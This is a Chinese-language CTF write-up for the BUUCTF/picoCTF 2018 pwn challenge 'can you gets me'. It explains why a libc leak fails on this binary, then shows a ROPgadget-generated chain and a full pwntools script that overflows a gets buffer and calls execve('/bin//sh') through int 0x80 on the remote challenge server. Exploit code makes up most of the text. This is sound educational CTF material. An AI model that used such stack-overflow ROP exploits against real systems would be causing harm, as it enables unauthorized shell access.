[BUUCTF-pwn]——picoctf_2018_can_you_gets_me
通过这道题又学到了一个知识点。ROPgadget构造rop链
还是先checksec一下
在IDA中,查看一下。有gets栈溢出,又有puts函数。想当然的我们想到,通过puts函数,leek出一个got表地址,找到libc的栈基址,进而找到system函数和’/bin/sh’
尝试过后你会发现不可以,你想象不到这个puts是手写的,你双击就可以知道,或者你也可以看旁边的函数框
ROPgadget不仅仅可以帮助我们查找汇编指令的地址,它还可以帮助我们构造汇编指令
ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain
得到的构造好的系统调用获得shell的rop链, 我们只需要将其作为返回地址就可以了
exploit
from pwn import *
from struct import pack
p = remote('node3.buuoj.cn',28293)
# p = process("./PicoCTF_2018_can-you-gets-me")
def payload():
p = 'A' * (0x18 + 4)
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
return p
shellcode = payload()
p.send(shellcode)
p.interactive()